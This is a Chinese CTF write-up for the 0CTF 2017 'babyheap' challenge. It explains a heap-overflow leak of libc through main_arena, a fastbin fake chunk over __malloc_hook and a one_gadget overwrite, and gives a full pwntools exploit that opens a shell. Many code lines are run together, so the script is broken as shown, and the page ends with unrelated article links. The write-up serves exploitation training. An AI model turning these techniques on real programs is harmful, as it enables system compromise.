解题思路

1. 查看文件信息,安全机制
2. IDA审计
3. 分析漏洞点
4. 编写EXP

1.基本信息

安全机制
安全机制全部开启了,其实不用慌,对我们做题影响不是很大

运行

2.IDA审计

1.Allocate

2.Fill

3.Free

4.Dump

4.1

3. 分析漏洞点

每次都是利用UAF漏洞来泄露堆的地址,第一次尝试利用这个方法去获取堆的地址(好像叫重叠堆)
漏洞点
1.Fill的size大小没有限制,可以覆盖到后面的chunk
2.在free的时候,不存在uaf漏洞
3.dump只能dump出本chunk的内容

思考漏洞点
先考虑怎么获取堆的地址:

这样就获取到smallbin的main_arena的地址

alloc(0x20)
alloc(0x20)
alloc(0x20)
alloc(0x20)
alloc(0x80)free(1)
free(2)payload  = p64(0)*5
payload += p64(0x31)
payload += p64(0)*5
payload += p64(0x31)    #通过修改index(2)的fd指针将small chunk的地址写进fastbin链表中
payload += p8(0xc0)
fill(0, payload)payload  = p64(0)*5
payload += p64(0x31)   #修改index(3),将index(4)的size位修改为和free chunk大小相同
fill(3, payload)alloc(0x20)  #将index(2)的chunk 申请走
alloc(0x20)   #将我们伪造的index(4) 大小为0x20 chunk,申请走payload  = p64(0)*5  #将伪造的chunk 还原回去
payload += p64(0x91)
fill(3, payload)alloc(0x80) #这理多申请一个small,在我们想要获取堆地址的时候,最好是两个以上的同一个chunk来泄露    index = 5
free(4)  #先free 为下面寻找0x70的chunk,做准备libc_base = u64(dump(2)[:8]) - 0x58-0x3c4b20   #0x3a5678
print ("---->") + hex(u64(dump(2)[:8]))

libc_base如何计算

hex(0x7ffff7dd1b20 - 0x7ffff7a0d000) = 0x3c4b20
0x58 就是main_arena 距离我们上图的距离0x58=88
vmmap

伪造chunk块,修改__malloc_hook

alloc(0x68)  #伪造chunk 在main_arena 里面找到一个合适的chunk大小  一般常用0x7f   index = 6
free(4)fill(2, p64(libc_base + 0x3c4aed))    #main_arena的伪造chunkl地址
print ("1-->") + hex(libc_base + 0x3c4aed)
alloc(0x60) #将index= 4的 chunk申请走,
alloc(0x60) #将index = 4的fd ,chunk分配,这里就是我们伪造的chunkpayload  = '\x00'*3
payload += p64(0)*2
payload += p64(libc_base + 0x4526a)
print ("2-->") + hex(libc_base + 0x4526a)
fill(6, payload)alloc(233) #这里已经将__malloc_hook,修改为onegadget ,只要调用了alloc就会获取shell
p.interactive()

bins

编写EXP

#!/usr/bin/env python
# -*- coding: UTF-8 -*-
from pwn import *
import sys
context.terminal = ['gnome-terminal', '-x', 'sh', '-c']
#context.log_level='debug'local = 1if local:p = process("./babyheap")#elf = ELF("./level3_x64")#libc = ELF("libc-2.19.so")
else:p=remote("pwn2.jarvisoj.com",9883)elf = ELF("./level3_x64")libc = ELF("libc-2.19.so")def alloc(size):p.sendline('1')p.sendlineafter(': ', str(size))p.recvuntil(': ', timeout=1)def fill(idx, data):p.sendline('2')p.sendlineafter(': ', str(idx))p.sendlineafter(': ', str(len(data)))p.sendafter(': ', data)p.recvuntil(': ')def free(idx):p.sendline('3')p.sendlineafter(': ', str(idx))p.recvuntil(': ')def dump(idx):p.sendline('4')p.sendlineafter(': ', str(idx))p.recvuntil(': \n')data = p.recvline()p.recvuntil(': ')return datap.recvuntil(': ')
alloc(0x20)
alloc(0x20)
alloc(0x20)
alloc(0x20)alloc(0x80)
free(1)
free(2)payload  = p64(0)*5
payload += p64(0x31)
payload += p64(0)*5
payload += p64(0x31)
payload += p8(0xc0)
fill(0, payload)payload  = p64(0)*5
payload += p64(0x31)
fill(3, payload)
#gdb.attach(p)
alloc(0x20)
alloc(0x20)   #chunk申请过来 payload  = p64(0)*5  #将伪造的chunk 还原回去
payload += p64(0x91)
fill(3, payload)alloc(0x80)
free(4)libc_base = u64(dump(2)[:8]) - 0x58-0x3c4b20   #0x3a5678
print ("---->") + hex(u64(dump(2)[:8]))
#gdb.attach(p)
log.info("main-arena: " + hex(u64(dump(2)[:8])-0x58))
log.info("libc_base: " + hex(libc_base))alloc(0x68)  #伪造chunk 在main_arena 里面找到一个合适的chunk大小  一般常用0x7f
free(4)pause()
fill(2, p64(libc_base + 0x3c4aed))print ("1-->") + hex(libc_base + 0x3c4aed)
alloc(0x60)
#gdb.attach(p)
alloc(0x60)
#gdb.attach(p)payload  = '\x00'*3
payload += p64(0)*2
payload += p64(libc_base + 0x4526a)
print ("2-->") + hex(libc_base + 0x4526a)
fill(6, payload)alloc(233)p.interactive()

后期在继续补充…

参考文献
:https://www.cnblogs.com/jazm/p/11184380.html
:https://bbs.pediy.com/thread-223461.htm

0CTF-babyheap2017祥讲相关推荐

  1. 梁宁:真正驱动你变强的,是痛苦

    思维方式 如何成为一个优秀的人? 我认为,想要变得更优秀,你需要学会"不满足".简单来说,就是对自己的现状不满足,不改变就会异常痛苦. 优秀需要努力,而努力是不舒服的事情,长期持续 ...

  2. html5跟html4有什么区别,Html5和Html4的区别

    html5解决了:web浏览器之间的兼容性很低.文档结构不明确等功能.一.Html5和Html4的区别 (1)语法的改变: 内容类型:文件名还是 .html或 .htm:文件类型还是 texttype ...

  3. 3个月“零基础”考研上岸复旦软院

    目录 个人学习情况 个人项目情况 考研情况 政治: 英语一: 数学二: 专业课961(不考复旦软院不用看): 关于择校: 关于考研心态: 关于劳逸结合: 关于考研群: 友情链接 个人学习情况   天津 ...

  4. 屌丝还是文艺范儿:小米2 VS MX2

    两个风格截然不同的厂商先后推出旗下热门手机的第二代 最近手机厂商特别喜欢在水立方举行发布会,上星期步步高发布了一款音乐手机,11月 28 日,从来没举行过大型发布会的魅族又在那发布了年度新品 MX2. ...

  5. 【设计大赛】基于RT-Thread和RA6M4实现samba服务的移动网盘

    本文详细介绍了基于RT-Thread操作系统和RA6M4处理器,如何移植和适配samba服务.同时,还提供Linux环境和QEMU仿真环境的参考移植,希望对大家有所启发和帮助. 文章目录 1 前言 2 ...

  6. 一建公共课推荐老师详解

    [管理]:推荐第1轮[朱俊文.肖国祥],第2轮[李向国.顾永才]朱俊文★★★★大师,娓娓道来容易让人接受,带你理解历年真题,并授以应试技巧.顾永才★★★★★讲课特点:语速快,很自信,听起来比较过瘾,不 ...

  7. EXT4文件系统磁盘分布和部分特性介绍

    1.ext4 磁盘布局 先说一下使用的emmc配置:大小:30253514752bytes,28G,块大小4096.以下布局皆以此为基础 2.sparse_super 效果为:超级块和GDT备份只出现 ...

  8. 第四讲:数码管的动态显示原理和应用实现(郭天祥)

    说明:此文章仅是我学习过程中的一些记录,如有侵权,请联系我删除,文章中难免有遗漏错误之处,欢迎指出. 目录 一.预备知识 二.动态显示 三.让第1.2.3个数码管显示123 一.预备知识 在我们学习数 ...

  9. 第七讲:串口通讯原理及操作流程(郭天祥)

    说明:此文章仅是我学习过程中的一些记录,如有侵权,请联系我删除,文章中难免有遗漏错误之处,欢迎指出. 目录 一.计算机串行通信基础 1.并行通信 2.串行通信 ①异步通信 ②同步通信(了解即可) ③串 ...

  10. 旷视张祥雨:神经网络架构设计新思路

    智源导读:深度学习模型在很多任务上都取得了不错的效果,但调参却是一项非常痛苦的事情,大量的超参数和网络结构参数会产生爆炸性的组合.因此最近几年神经网络的架构搜索和超参数优化成为一个研究热点.此外,对于 ...

最新文章

  1. CISCO路由器TELNET和SSH远程登录配置实例
  2. HttpServlet的doGet()和doPost()方法
  3. PYTHON之DEF
  4. intellij中出現java.lang.NoClassDefFoundError: org/apache/commons/configuration/Configuration解決方案
  5. barrons ap计算机科学,巴朗ap心理学barrons ap psychology, 5th edition-201-240.pdf
  6. centos6.5下安装gradle编译环境
  7. Linux中Docker部署MySQL
  8. SonicWall宣布推出全新渠道伙伴计划,为中小型企业的网络安全提供可靠防护
  9. 计算机二级题库office基础知识,计算机二级office题库
  10. 网易面经(内含腾讯ieg/IOS一面面经)
  11. aspen怎么做灵敏度分析_灵敏度分析aspen
  12. 物联网在工业企业的应用与实践 (1) 物联网与工业4.0
  13. BZOJ 1406 AHOI2007 密码箱 数论
  14. mac虚拟机搭建设置静态ip
  15. CKEditor/CKFinder升级心得
  16. oracle数据库查看防火墙,Oracle数据库防火墙简介
  17. android app文件夹,android app文件目录结构
  18. Origin画图标签常见语法
  19. STM32系统时钟详解
  20. 评价RA滑膜炎的综合评分系统的计量学特点: 来自一项随机、前瞻、多中心研究的结果...

热门文章

  1. C++中的DLL调用0x00000000错误
  2. android app隐藏图标不见了,Android 10如何隐藏应用图标
  3. 【随笔】Java团长
  4. WEB数据挖掘相关术语整理
  5. 数字式PID控制MATLAB仿真
  6. TensorFlow 2 实现线性回归和非线性回归
  7. 华为的宿敌思科,诞生爱情土壤中的技术之花
  8. 中国移动日渐步履蹒跚,中国电信在5G商用上取得领先优势
  9. 落户雄安,千方科技助力新区打造智慧出行样板
  10. 如何显示 word 左侧目录大纲